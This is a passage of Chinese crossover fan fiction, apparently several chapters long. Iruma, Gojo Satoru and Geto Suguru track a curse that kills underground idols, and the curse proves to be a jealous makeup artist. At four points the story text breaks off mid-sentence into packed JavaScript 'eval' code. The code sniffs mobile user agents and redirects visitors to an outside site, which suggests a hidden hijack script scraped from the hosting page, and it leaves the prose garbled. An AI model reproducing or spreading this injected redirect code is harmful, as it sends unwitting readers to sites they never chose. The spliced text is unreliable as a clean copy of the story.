“是的。”眼看着抵赖不了,入间干脆眼睛一闭,语气里带着一点理直气壮,“难道不可以吗?” “哈!”五条悟挑了挑眉,丝毫不掩饰自己的恶劣,“老子没说不可以啊,反正这是你自己的考试,就算吸收掉了咒力使用留下的残秽也只是给你自己的调查增加难度而已。” 入间:“?!” 什么话!这叫什么话! “当然——”五条悟在欣赏够了入间的紧张和崩溃之后笑嘻嘻补充,“恭喜,这次的现场没有咒力残秽。” 入间:“!!!” 入间确信了一点——这个家伙,超级恶劣的! 刚才摆出来的那副样子,完全单纯只是想要吓一下他吧?! 而且,居然在吓完他之后,和夏油杰若无其事地聊起来了! 好可恶的家伙,怎么会有这么恶趣味的人?! 但是又不能真的打断他们的谈话,不仅仅是礼貌不礼貌的问题,毕竟听五条悟的判断,眼前名叫夏油杰的少年也是一个咒术师,还是一个和他一样对咒术界缺乏了解的咒术师,那五条悟对夏油杰的科普应该是更高优先级。 如果夏油杰因为对咒术界的一知半解出了岔子,那他不会原谅自己的。 可是还是好不甘心啊!这家伙,不会是算好了的吧? 入间这边充满怀疑,五条悟却毫不在意:“至于为什么能发现你是咒术师,最主要的原因是老子很强。” 好嚣张的话,但是无法反驳。 “老子的术式能够看到你身体里的咒力流通。普通人只能任凭咒力胡乱流通,吸引或者因为聚集形成咒灵。咒力对于普通人来说是用不上的东西,能够控制咒力不外泄、留在自己身体里使用的,基本上都是咒术师。”五条悟推了推墨镜,“从咒力运行的结构上看,你的术式,让老子很好奇啊。” 夏油杰倒是不觉得冒犯,反而神色中带着点惊讶和惊喜,一定要入间来判断,有点类似于找到同类的感觉。 思考片刻,此人给出的回答是:“啊,所以你们也是来调查这里的怪、我是说,咒灵的吗?” 就这么反应过来了!就这样接受了!接受能力好强! “是这个家伙的考试啦。”五条悟懒洋洋地指了指入间,“如果你成功解决掉咒灵的话,这家伙就得重考了,毕竟这种准一级上下的咒灵不是大白菜,随随便便就能遇到的。” 连续遇到好几个“大白菜”的入间:“……” 这还真说不准。 “啊,这样啊……”夏油杰思考片刻,试图跟他们商量,“所以到时候抓住的咒灵会怎么处理呢?” “当然是‘无害化’处理,基本上都是祓除。”五条悟似乎明白了夏油杰的言外之意,“如果抓回去,那群贪生怕死的家伙会被活生生吓死的。” 有些话不用多说,一对上视线,两人就达成了什么共识,就像是开启了加密通话一样,留下入间似懂非懂。 五条悟想了想,顺便补充道:“咒灵最后怎么处理各凭本事,不过如果有人插手干扰考核的话,老子会出来阻止的。” “我明白了。” 不知道为什么,在这两人对话结束之后,入间默默打了个寒颤,有种被人盯上的、没来由的直觉。 不不不,一定是错觉吧,毕竟夏油杰虽然看起来稍微有点……狡黠,但是各种行为都在证明他是个好人啊!入间默默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720506|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给自己打气,嗯,没错,一定是这样的。 若有所思的好人夏油杰跟他们点了点头,道别离开,五条悟转头就打出了直球暴击:“所以你准备好跟那家伙抢咒灵了吗?” 入间呆呆地指了一下自己:“啊?我吗?咒灵为什么还要抢?你怎么知道的?” “难道不明显吗?” “那家伙是式神使,还是术式很强的那一批,看起来他似乎跟你一样需要咒灵。”五条悟指了指夏油杰离开的方向,又看向了他,“老子依然不觉得你是咒术师。” “你的术式,或者说,支撑你使用出某种力量的东西,真的是术式吗?它的使用也是需要咒灵的吧?虽然不知道具体是什么构造和运行机制,。” “我我我我……” “说实话,你用了什么东西,对吧?”五条悟挑了挑眉,“老子感受到了类似于‘术式’的存在,并且这股力量,似乎在试图‘控制’那些人。” “没错!但是不是控制!”入间闭了闭眼,豁出去承认,“因为我能够‘借用’一些能力,这次‘借用’的能力,是可以通过气味让人对自己产生好感……但是不会对他们造成影响的!只是有一点好感度而已!” 这次他利用灾厄之书借用的能力,是来自于自己在魔界的同学,爱丽莎贝塔的家系能力“好感度”,顾名思义就是散发出会让人产生好感的气味,来做出对释放者有利的选择。 因为对于不熟练的初级入门者而言,皮肤暴露程度是和好感度负相关的,所以地偶的打歌服就达成了一个相对完美的平衡,会对观众产生一定的吸引,但是不至于影响到心智,弄得全场神魂颠倒什么的。 况且咒力对于普通人来说也不是什么好东西吧?入间这样试图说服自己,为了任务适当使用一下能够算得上是“捷径”的能力,应该也不是什么特别十恶不赦的事情? “况且我又不会真的出道……” 声音越来越小,入间在五条悟那种非人的锋利目光下越来越心虚,甚至开始反思自己的行为。 “老子又没说不可以。”谁知道五条悟再开口,说的内容却和入间预想的天差地别,那张漂亮的脸上露出了恶劣的微笑,“不过,给老子看看你其他可以借用的能力。” 因为掌握了某个触发底层代码的利器,他笑嘻嘻地开口:“拜……” 入间听到第一个字就条件反射捂住耳朵:不听!坚决不听! 29.不速之客 “入间小弟,我认为,你也不是一定要成为咒术师。”艾利先生忽然说出了一番暴论,“地下偶像或者是可以近距离接触观众的艺人就挺不错的,你觉得呢?” 我不觉得啊! 入间猝不及防听到这样恐怖的话,眼睛都瞪大了:“为什么?” 他前脚说完自己又不会一直女装或者当地下偶像,后脚就被一直很信任的人“背刺”了,这个笑话一点都不好笑! “我是认真的。”艾利先生开始循循善诱,试图洗脑,“你看,作为咒术师,情报不稳定,上升渠道恐怕也没有多顺利……万一就倒霉,在没有能量的时候遇到什么难以解决的敌人呢?” “但是当偶像就不一样了,你有足够的经验,而且吸收普通人身上的咒力,他们轻松了,你也安全了。如果遇到了什么特别厉害的咒灵,直接打电话给咒术师嘛,就不要傻乎乎自己冲上去了。” 听起来居然很有道理……才怪啊! “可是,艾利先生。”入间欲哭无泪,“你还记得我是个男性吗?我们是来调查任务的啊!” “有妨碍吗?大不了退学咯。” “不,我还是……” 入间捂住耳朵,试图隔绝这种很有道理、但是绝对不可以的“谗言”。 “不说就不说,难道你就没有别的问题了吗?” “入间小弟,你这个听不得请求的性格,简直是一个超大的把柄啊。”艾利先生坐在入间对面,追加起了别的话题,甚至定下一个严肃的基调,“太危险了,只要有人拜托,你就一定会行动吗?” “难道我来一句,‘拜托了请给我倒杯水’……” “好、好的!”入间立刻接话,甚至于身体已经越过思考,准备行动。 艾利先生瞠目结舌:“……” 好吧他真的可以。 “哎呀,这真是完蛋啊……”艾利先生自言自语。 之前在魔界,学生之间没有什么大事,作为爷爷的沙利文虽然偶尔给入间来点让人苦恼的赶鸭子上架,但是对于这个孙子也算是保护有加。 入间这种难以拒绝别人的性格,在平安无事的情况下是个萌点,可是在异世界、还是这个看起来都不算正常的世界,简直是个要命的把柄,现在的入间就是个浑身都是破绽的筛子。 而且,那个被称为“神子”的五条悟,在它动手捂住入间的耳朵让他逃跑的时候,非常明确地朝着自己这个方向看了一眼吧? “真讨厌那些浑身心眼子的家伙,要是像从前……”艾利先生嘟囔着,然后非常明显地卡了一下壳,从前,从前怎么来着?反正是完全不用动脑子,超开心的。 没办法,这个家、咳,这个组合总得有人能够支楞起来,既然入间小弟不给力,那就得交给强大的艾利先生了! 艾利先生勉为其难地夸了一通自己,然后抓住入间的头发,努力严肃:“总之,入间小弟你这样肯定是不行的。既然你不想考虑职业规划,那么在幕后的家伙找上门之前,我们要做的,就是特训,让你学会拒绝请求!” “欸?!” “是的,不管怎么样,这个世界可没有在魔界那么好的保障,随时都可能遇到危险……”艾利先生似乎感觉到了什么,自己打断了自己的话题,沉下了脸,“看来,我们有不太礼貌的客人上门了。” “客人?”入间有点迷茫,不过说了这么多话确实有点渴了,于是拿起了手边的杯子,然后很快明白了艾利先生的意思。 略带浑浊的水体酝酿着一股充满怨念的咒力,里面漂浮着不知名黄色颗粒,散发出让人难以忍受的腥臭。 入间感觉这杯水拿在手里都烫手,忙不迭放在一边:“酒店里的水出问题了吗?” “恐怕不是酒店的问题呢。”艾利先生探头探脑,“啧啧啧,真是没耐心,你还没出道呢,就迫不及待找过来了。一想到中招的家伙都喝了这种水,真是让人怜悯。” “艾利先生的意思是……” “咚咚咚!”入间的房门被用力砸了好几下,像是带着不耐烦的催促。 入间摸了摸耳边的羽毛耳坠,又像是想到在这样不够开阔的室内空间里,弓箭并不能很好地得到使用,于是捏紧了灾厄之书,透过猫眼往外看。 外面什么都没有,即使是让艾利先生将咒力聚焦在他的眼睛上,外面也是没有任何咒力残秽。 入间试探着开了门,“啪——”一声轻响,一大捧花束倒在了他的脚边。 那是满满当当的一捧百合,花瓣带着水珠,饱满洁白,簇拥着一张充满祝福的卡片,不管是谁看了心情恐怕都会不由自主好起来。 当然,能够看到咒力的咒术师应该除外。 把咒力击中在眼部,看到的就是卷边泛黄的花瓣簇拥着类似于眼珠一样的东西,卡片质感奇怪,散发着一种腥臭腐朽的味道,里面甚至还夹杂着发丝……总之对眼睛和鼻子都不是很友好。 遇到这样的情况,入间的第一反应是立刻把花放回门外,关上房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724827|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门。 艾利先生探头探脑:“不拿进来吗?” 入间思索片刻,非常诚实:“……实在是太臭了……有点难以忍受。” 谁料话音刚落,床头的电话像是被激怒了一样疯狂响了起来。 虽然不清楚为什么从其实非常普通的铃声里听出恼怒的情绪,但是毕竟是来调查事件的,所以入间还是像恐怖片的经典套路一样,接起了电话。 “伊露米……喜欢……请收下这束花吧……请收下这束花吧……” 对面翻来覆去地重复着这句话,声音低沉,带着一股难以抗拒的魔力。 顶着艾利先生催促的视线,入间配合道:“好、好的。” 不过拿进来归拿进来,入间忍了又忍,还是没能忍住,连花带纸一起送到了水龙头底下进行冲洗。 沾水的卡片被洇湿,微妙地凹陷下去三个空洞。入间若有所思撕开表面的纸张层,发现里面是一张小小的照片,照片中的人脸眼睛和嘴巴部位被抠出三个孔洞,但是凭借着发色和打歌服,不难发现这张照片拍摄的人物——正是入间,或者说,地偶伊露米。 “好……喜欢……恨……喜欢……” 有什么带着铁锈味道的液体滴在入间脸上,伴随着一股幽冷的气息,入间从镜子里看到了一个模糊的人影,披散着头发站在角落里,死死盯着自己,面孔赤红而扭曲,却又说不上来的熟悉。 “叮——”五条悟盘腿坐在酒店的床上,一边留意着楼上入间房间的动静,一边跟夏油杰发消息。 “有没有人说过你的发型很奇怪,尤其是头发扎起来的时候掉下来的那一缕,看起来超级奇怪的,是故意的还是不小心的?” “……我看你也挺奇怪的。”对面过了好久才发过来这样一条消息,似乎戳到了什么痛点,但是碍于五条悟给自己带来的帮助又按捺住了自己的情绪。 “那就是故意的咯,怪刘海,你的审美好奇怪。”五条悟的字典里才没有适可而止这种东西。 对面终于炸毛:“喂,我说你啊,完全就是被惯坏的大少爷脾气吧?” “怎么了,破防了吗?怪——刘——海——” “咚!!!” 当然,邮件达不到能够将对面的愤怒邮寄过来造成破坏的程度的,罪魁祸首另有其人。 “啧。” 斗嘴,或者说单方面挑衅拉仇恨正酣的五条悟被楼上的咒灵打断了好心情,不爽地皱着眉头。 没有眼色的家伙! 30.新型韭菜 不过大概是让五条悟失望了,罪魁祸首跑得很快,至少在他到来的时候,现场只剩下那束臭烘烘的花和若有所思的入间。 而也就是在这时候,事务所秘书打来了电话。 他的声音里带着恐惧和催促,似乎是遭遇了很大的打击和惊吓:“那个……您的调查有进度吗?我觉得、我觉得已经不是很安全了……” 还没等追问,他就竹筒倒豆子一样滔滔不绝开始叙述:“一开始、一开始是snow……她就是正式出道前夕出车祸那个,没有离开事务所,只是请假在家……” “就在今天、就在今天,她的妈妈打电话给我,告诉我……她……呕——” 回想起了自己跑去亲眼见证的现场,秘书抱着垃圾桶干呕了一会,才补充:“总之,snow死得很惨……你们也注意安全……早点抓住幕后凶手吧,拜托了!” 那边匆匆忙忙挂断电话,辅助监督的电话又无缝衔接:“打扰一下,铃木君,刚刚收到消息,但凡是遇到咒灵骚扰事件的该事务所地下偶像,不管有没有离开,全都暴毙家中,并且遗体出现器官、尤其是眼睛的缺失,身体不同部位不同程度地失去皮肤,尤其是面部,无一人能够幸免。” “根据鄙人的猜测,咒灵,似乎被激怒了。” 入间被这一连串的信息冲击了一下,然后下意识低头,看向了静静躺在地上的那一束百合。 花瓣异样的质感,簇拥着瞳孔仿佛凝聚着恐惧的眼珠…… 他想,他知道那些失踪的皮肤和部位,去哪里了。 五条悟显然也意识到了这点:“看样子,目前前面的家伙都一个接一个地死掉了。接下来它的目标,只剩下你喽。” 甚至唯恐天下不乱地来了一句:“上门拜访还送花,说谢谢了吗?” 入间:“……” 谁要为这种恐怖的事情道谢啊!比起上门拜访的伴手礼,这个更像是死亡预告吧?! 深吸了一口气,入间把吐槽统统吞进肚子里,然后低头拨通了秘书的电话:“您好,在下是铃木入间……啊,就是伊露米,嗯,是的,它已经找上门把我当成目标了,没关系……嗯,没错,请您给我安排一场演出,我想刺激一下它……” . 到底是喜欢,还是恨呢? 自从知道了这个咒灵的存在开始,入间一直在思考。 不管是从这几天的所见所闻还是资料里各种被作为耗材的不幸,看起来都像是地下偶像们在苛刻的工作环境里诞生的恨意和怨念。 但是咒灵嘴里的“喜欢”还是让入间有点在意。 毕竟在粉丝中,尤其是这种经常营业恋爱幻觉的女性团体里,还是男性粉丝居多。因爱生恨,或者因为占有欲强烈把偶像视作自己的所有物,所以杀死了偶像这种事情,其实也不在少数吧? 如果是粉丝的怨念产生的咒灵,那么,按照他吸收粉丝体外咒力的势头,是否能对咒灵产生削弱呢?这只咒灵是否拥有足够的智力来看破目前的情况呢?在发现场面对自己不利之后,会选择逃跑吗? 入间不知道。 秘书安排的时间非常近,并且表示这也是老板的意思。看来咒灵造成的命案确实对这些人产生了震慑,毕竟谁也不能保证它只会狩猎一种人群。 演出前,秘书专门安排的化妆师敲响了休息室的门。 “您好,我是化妆师坂田樱,在业内算是小有名气,请多关照。”女人的妆很浓,苍白的皮肤和妖冶的眉眼有种锐利的美丽,长长的睫毛,右眼带着一只古怪的黑色蕾丝眼罩,一身装扮看起来像是什么漫展上会出现的、渲染着死气的吸血鬼美人。 “年轻的皮肤真好啊……”她的手带着眷恋,摩挲着入间的脸,“真是可爱的孩子……让我想起了当年……别看我现在这幅样子,我曾经也是差点就出道了的偶像呢……” 说着,下意识摸了摸自己的右眼,像是想起了什么,笑了笑:“当时还取了艺名sakura,没想到和名字一样,花期转瞬即逝了,真是遗憾啊。” 入间还没想道该如何安慰她,她就轻巧转移了话题:“你要珍惜你的天赋和出道机会哟,毕竟青春易逝嘛。” “谢、谢谢您。”入间呆呆点了点头,然后闭上眼睛,任凭坂田樱用自己一个也叫不上来的化妆品在自己脸上涂抹。 啊……成为偶像,好辛苦…… 化妆的间隙,入间胡思乱想。 化妆时间好长,到底要涂几层化妆品啊……不知道是不是因为实在不太习惯化妆,对他来说,有些化妆品的味道香得有点刺鼻……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739466|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好啦,真是个可爱的孩子呢。” 坂田樱笑吟吟松开了手,对他做出加油的手势:“祝你演出顺利,早日签约出道!” “谢谢,我会的!” 登上舞台,举目四望,入间算是意识到艾利先生的提议居然真的非常具有可行性。 只见台下观众里,其实不乏之前表演曾经见到过的熟面孔,也难为事务所最近对他演唱会的大力宣传,那种偷偷摸摸给他拉仇恨的手段真的过分明显。 这些并不是关键,而是入间看到那些熟面孔身上,在这些天里不知不觉已经重新聚集起了咒力,以其中一些看上去就是社畜的人尤甚,其丰厚程度让入间幻视了当初为了绝地求生时所种植的韭菜,一茬接着一茬,生生不息、可持续发展。 入间:“……” 不妙啊,他真的有点心动了。 安全无公害,并且对于普通人来说也有好处…… 正思索着,艾利先生忽然在他的耳畔大声预警:“入间小弟,当心!” 说时迟那时快,一只巨大的花球从天而降,原本是用在表演结束的时候偶像退回后台,花球落地被砸开,用来丰富舞台效果的、也为了下一场准备的,却不偏不倚正对着入间,以一种堪称必杀的决心掉了下去。 身体比意识更快做出反应,入间忽然向前一步,微微俯身,对着台下弯腰,手指拨弄自己的头发,带着一阵清新的气味从观众中掠过,歌词也刚好跳跃到了“想必你会为了我献上心脏……试着吸引我吧……” 台下也在“好感度”能力的近距离加持下爆发出惊人的欢呼:“伊露米!伊露米!” 花球被当成一个小小的节目效果,没有被任何人放在心上。 借着舞台的动作,捕捉到了暗中那个面孔扭曲的影子,入间伸出手试图吸收,却发现不知为何失败。 点了点耳返,艾利先生顿时意会,巨大的黑影如同幕布般展开、蔓延,最后扑向那个幕后黑手,却无功而返。 “入间小弟。”艾利先生的语气带着凝重,“我根本无法吸收这个家伙啊。” 这样的失误指向一个非常不妙的现实——艾利先生的能力仅会面对生物失效,也就是说…… 这个幕后黑手,其实是活物,或者说,是人类! 31.寄生母女 说实话,这完全不是个能令人高兴的消息。 是咒灵,好歹能告诉自己这是它们的本能,本来人类和咒灵就是这样互相影响着的畸形关系。 但是如果是人类的话……如果是人类的话,那就完全不一样了。 人不需要和同类互相倾轧才能活着,或者说至少现在、在这个环境下不需要,为了某些阴暗的心理,葬送别人的未来,这是不可原谅的。 没有任何苦衷需要通过不断杀无辜的人来解决,尤其是受害者并非恶贯满盈,是因为本身的优秀才成为了“错误”。 不管怎么样,把生命视为草芥,实在不能让入间接受。 是什么能被偶像天天接触到,并且不容易发现、还会留下痕迹的呢? 入间像是想到了什么,要了这段时间从事务所到台前幕后的监控,锁定了最值得怀疑的东西:“五条君,能帮忙确定一下咒力痕迹吗?” 像是想起了自己是在考试,入间有点苦恼地补充:“如果会影响考试判断的话就算了。” “啊,当然可以求助,我们这些人就是负责引导啦,不然不如找个摄像头过来监督。”五条悟笑嘻嘻,“哎呀,老子没说过吗?” “完全没有!” 会怀疑是故意的程度! “确实是是化妆品。”五条悟才不在乎这些,看完之后把墨镜重新推回脸上,下了定论,“你的猜想是对的,附着了咒力的化妆品被用在了偶像们的舞台妆上,留下印记,然后被锁定、出现‘意外’。” 因为量很小,只是一个定位作用,加上平时经过普通人手的东西也时长会留下一些咒力的残余,所以就这样不知不觉进行渗透。 如果没有入间的坚持,没有请求五条悟对花球的调查,恐怕这样的手段足够蒙蔽大部分咒术师。 “同时能接触化妆品和幕后道具的人并不多……”入间叹了口气,实在是不太想要得到这样一个结果,“从各种证据调查来看,甚至可以说只有一个。” 那就是,负责给自己化妆的那位坂田樱。 可是,她图什么呢? 入间思考片刻,忽然福至心灵,抓起手机打电话给辅助监督:“您好,请帮我调查一下,她身边,有没有什么年轻女性?比如说,妹妹或者孩子?” 答案当然是有。 “坂田美绪,十四岁,从调查结果上看,血缘关系方面,似乎是事务所老板的私生女……” 事情一下子变得明显起来。 思来想去,入间主动出击,敲响了坂田家的门。 坂田樱在看到常服入间之后眼睛闪了闪,但还是微笑着侧过身:“啊,请问来我们家是有什么事情吗?进来坐坐吧。” “是的,我们是来找美绪的,请问她在吗?” “在的在的。” 公寓很小,但是打理得相当整洁。入户面对的一整面墙,能看到的全是和坂田美绪相关的照片和荣誉,美丽的少女在聚光灯下闪闪发光,无数灯条熠熠生辉地点亮着墙壁,却又像是一张美丽的大网。 旁边是一个小小的壁龛,看不清里面供奉着什么。虽然有些突兀,但是想到空间利用率问题,这也是难以避免的事情。 坂田美绪出来了,不过,她的身后,还跟着坂田樱。 “哎呀,不知二位有何贵干呢?”坂田樱微笑着询问,“要喝点什么吗?橙汁、牛奶……还有茶?” “我都可以,麻烦您了。” “一杯橙汁,谢了。” 因为一直关注着对面的“嫌疑人”坂田母女,入间敏锐察觉到了坂田美绪在听到“橙汁”之后眼睛微不可察闪过一丝情绪,似乎很想来点。 但是,坂田樱不止没有过问女儿意愿的意思,回来的时候拿来的也是两杯白开水。 “哎呀,毕竟美绪是个偶像呢,有上镜需求的话,放纵自己可不行。”坂田樱抚摸着女儿的头发,眼中表达的爱意不像是母亲对女儿,倒像是手作者对自己最心爱的作品,“妈妈陪着美绪一起喝水喝减肥,美绪一定能坚持下去的,对吗?” 坂田美绪木楞楞点了点头,对着坂田樱露出一个甜美的微笑:“是的,妈妈为了我好,很爱我。” 而入间只觉得有一股没来由的毛骨悚然。 母亲几乎完全控制着女儿,用自己同样在经历这些绑架女儿,女儿也完全依赖着母亲,没有什么独立决定的能力,或者说在这样的日复一日里,已经失去了挣扎的念头。 真是……堪称病态的母女关系。 就像是被扭曲捆绑着生长的两棵树,看着亲密无间,但是在这样畸形的关系下,根系早就已经烂掉了。 “我小时候,可是个死胖子呢。长得不好看,还经常说能看到奇奇怪怪的东西,所以大家都不喜欢我。”非常突兀的,即使知道来人是找自己女儿的,坂田樱还是说起了自己的事情,“那时候我就在羡慕那些能够被大家喜欢的可爱孩子,所以我疯狂减肥、学着打扮让自己更漂亮……” 想要吸引大家注意,但是因为不好看和“满口胡言”被孤立,然后为了吸引别人的注意更加努力地胡说八道,最后变成了恶性循环,成了“丑人多作怪”。 直到有人顺口对着某个偶像评论了一句“这个人长得还不如你呢”。 不管这人的话里几分真几分假,对于当时的坂田樱来说确实是打开了新世界的大门。 还有什么能够比成为偶像更让人心驰神往的职业呢?只要站在那里就被人爱着,多么……多么幸福的事情。 但是地下偶像可不是那么好干的啊,有才能、或者好运的人,实在是太多了,就连原本作为她骄傲资本的容貌,也是不值一提。 于是只能努力自己贴钱宣传,有空就去各种打零工,努力忍受揩油的骚扰…… 不够、不够、还是不够…… 看着不断有人脱颖而出,怒火和妒火都在心里熊熊燃烧。 就在人生灰暗的时候,她选择和追求她的、一个同样是地下偶像的男人在一起了。 “理,他真的是个很完美的男人。”说到了自己的恋情,坂田樱不由自主流露出真切的幸福,“他懂我,并且深爱着我……虽然因为作为偶像,我们不能宣布自己的恋情,但是每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741384|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次见面我们都很愉快。他的未来比我更加不可限量,所以作为女友,为他打榜什么的,是理所应当吧?” “都是、都是因为他们,因为那些女人。理君不得不离开了我,选择委身于那些、那些有钱的老女人……” 五条悟打了个哈欠,不由自主吐槽道:“把自己的人生寄托在别人身上本来就是一种非常危险的行为吧?别人哪有自己可靠。况且这话听起来更像是渣男攀高枝之后,迫不及待跟从前划分界限吧?” “嘘——”入间瞪大眼睛,试图阻止五条悟的危险发言,“不管怎么说,这样的话也太伤人了!” 好消息,坂田樱不像是听到了的样子,还沉浸在自怜自艾的叙事中,哀叹着自己不幸的命运。 坏消息,入间一转头,发现不知何时,伴随着坂田樱的叙述,熟悉的黑影出现在了神龛附近的墙角。 “为什么呢?为什么看不到我呢?” 角落里的人影咬着手指,尖锐的牙齿将指尖磨破,渗出暗红的血迹,像是和坂田樱的心声共鸣。 “不能原谅……不能原谅啊……” “我不可爱吗?呐,你说,我不可爱吗?” 入间一时间也不知道该不该露出看到它的表情,不过很显然,这次大概率能抓到这个危险的罪魁祸首了。 “真讨厌啊……去死去死去死去死去死……” 就这么一会儿,那个身影嘴里的话越来越仇恨,最后甚至瞬移、贴在他的头顶,用一种相当恐怖的目光死死盯着他。 而坂田樱完全感知不到的样子,还在自顾自分享自己的心路历程。 “不过,在我去酒吧打工的时候,结识了熊野先生。他也很爱我,所以我们在一起了,生下了可爱的女儿。有了女儿,他给了我上台表演的机会……就在出道前夕……我却被爱慕他的另一个偶像弄瞎了一只眼睛……” “不过,还好我有美绪……她长得多像我啊,甚至比我还要美丽。我给她取名美绪,作为老板的女儿,她不会像我一样,失去出道机会的……” “不过,不够,还不够……” 但是入间很清楚,坂田樱口中的熊野,即事务所老板,其实有妻有子,并且有很多情人,坂田樱只是其中一个。 可是,不这样欺骗自己,那人生不是更加痛苦了吗? 而在这样的洗脑里,又酿成了别样的恶果。 是的,入间已经逐渐可以确认,这些惨案的幕后元凶,就是眼前的女人。 眼前的女人很惨没错,但是更惨的应该是无辜死掉的其他孩子。 “我不管你是男是女到底是什么目的,不要妄想和我的女儿争抢出道的机会!” 终于,话锋一转,坂田樱暴露了自己的真面目,狰狞地抓住了茶几上的水果刀,朝着他们挥舞。 而下定了决心的入间也用力抓住坂田樱的手腕, 坂田樱像是被激怒,表情愈发可怖,在强烈的恶意里,那个“女儿”坂田美绪忽然塌了下去,她的容貌也扭曲、变形,僵硬……宛如戴着一张恶鬼的假面。 “去死……去死——” 32.般若 伴随着坂田樱“吸收”了那个黑影和自己的女儿,变成了完全体,艾利先生充满惊讶的声音顿时在他耳畔响起:“入间小弟,现在这家伙彻底变成咒灵了。” 坂田樱,或者说咒灵的脖子不断伸长,充满恶意地贴近入间,试图缠绕住他,像蟒蛇一样将猎物吞吃殆尽。 “好恨……真讨厌……为什么为什么为什么为什么为什么……” 到后面它的语速越来越快,嘴角裂出一个夸张的微笑,然后……大张着的嘴巴里被塞进去了一本硬邦邦的厚书。 是入间的灾厄之书。 “哈哈哈哈哈哈!”五条悟的笑声打破了咒灵带来的压迫感。 虽然在被书打断攻击的那一瞬也没有了什么恐怖可言就是了。 “咚、咚、咚!” 像是被这样草率的对打惹怒,长长的头发张牙舞爪地浮空,整间公寓逐渐共振,墙壁中像是埋藏着什么怪物的脉搏。 灯光变得又红又暗,不知道是不是错觉,入间感觉自己虽然踩在地板上,脚尖却潮湿粘腻,甚至带着一丝刺痛。 抬起腿,一根细小的、还在鼓动着的血管联系着他的脚和地板,像是……被困在母亲子宫中的婴儿,那根血管就是母体反向吸血的脐带。 “这就是……领域吗?” 入间凝重地看着正在变化的房间,一种难以言说的直觉告诉他——倘若这样一直不施为,恐怕最后会变成咒灵的养料,咒力被腐蚀殆尽……不对! 他不是纯粹的咒术师哇! 他的咒力集中在手上的戒指和灾厄之书上,所以说,其实在这里进行战斗不会比别人更难。 思及此,入间的眼睛逐渐亮了起来,龇牙咧嘴用恶食戒指烧掉这根在领域中长出来的“脐带”,然后抓住羽毛耳坠,召唤出长弓,对准逐渐逼近的坂田樱。 凝聚着魔力的耳坠带着一股不可抗拒的意志击中坂田樱,将她钉在了窗户上。然而,这是在领域内部,坂田樱所受到的伤害大打折扣,因此只是趔趄几下,用力拔出那根长长的羽箭,更加凶狠地扑了过来。 入间早有心理准备,利用灾厄之书中同学利特的能力屏蔽了坂田樱的感官,在它挣扎的时候,就已经面色沉着地准备着下一支羽箭的攻击。 坂田樱刚挣脱出来,就被第二支羽箭以相同的力度狠狠钉了回去。不过,大概是入间确实小看了领域主人在领域内能占据多大的优势,因此即使是中了第二箭,坂田樱还是一息尚存,甚至直接撕开墙壁冲了出去。 不过还没等它逃窜成功,就被忽然出现的一只相当漂亮、鳞片光华璀璨的龙叼住了身体,然后吐进了饱受摧残的小公寓。 龙的脑袋上站着一个熟人——正是夏油杰:“抱歉,我觉得让它逃走的话太危险了,所以……” 入间:“欸?” 这完全是饱和式战斗了吧喂! 这时候的五条悟还在唯恐天下不乱:“这家伙没能守住自己的试题让它跑掉了,你就把咒灵带走吧。” “欸?可以吗?”夏油杰真的露出了相当心动的表情,但是还是坚持说完,“我其实是来做交易的。” “可以哦,毕竟从同行手里保下猎物也是咒术师所必须经历的重要教训吧?”五条悟笑嘻嘻,“加油啊铃木君,如果不努力的话,就要考试失败了捏。” 完全不是啊!入间简直想要因为这家伙尖叫,这是在说什么胡话?! 于是只能坚强地阻止:“不,至少先让我打败它——” 一时之间场面陷入了混乱。 好在夏油君具有充沛的人性——听到入间的崩溃声,最后还是选择放手。 但是离开也不是一件简单的事,因为五条悟抓住了夏油杰脚下虹龙的尾巴,眼睛里闪烁着跃跃欲试的光:“你,看起来很强,要跟老子打一架吗?” 说是询问,但是没有一点夏油杰拒绝这家伙就会放手的意思。 “哈?”夏油杰刚好一腔遗憾无处安放,咬着牙笑道,“好啊。” 于是乒乒乓乓地打起来了。 入间:“……” 乱成一锅粥了。 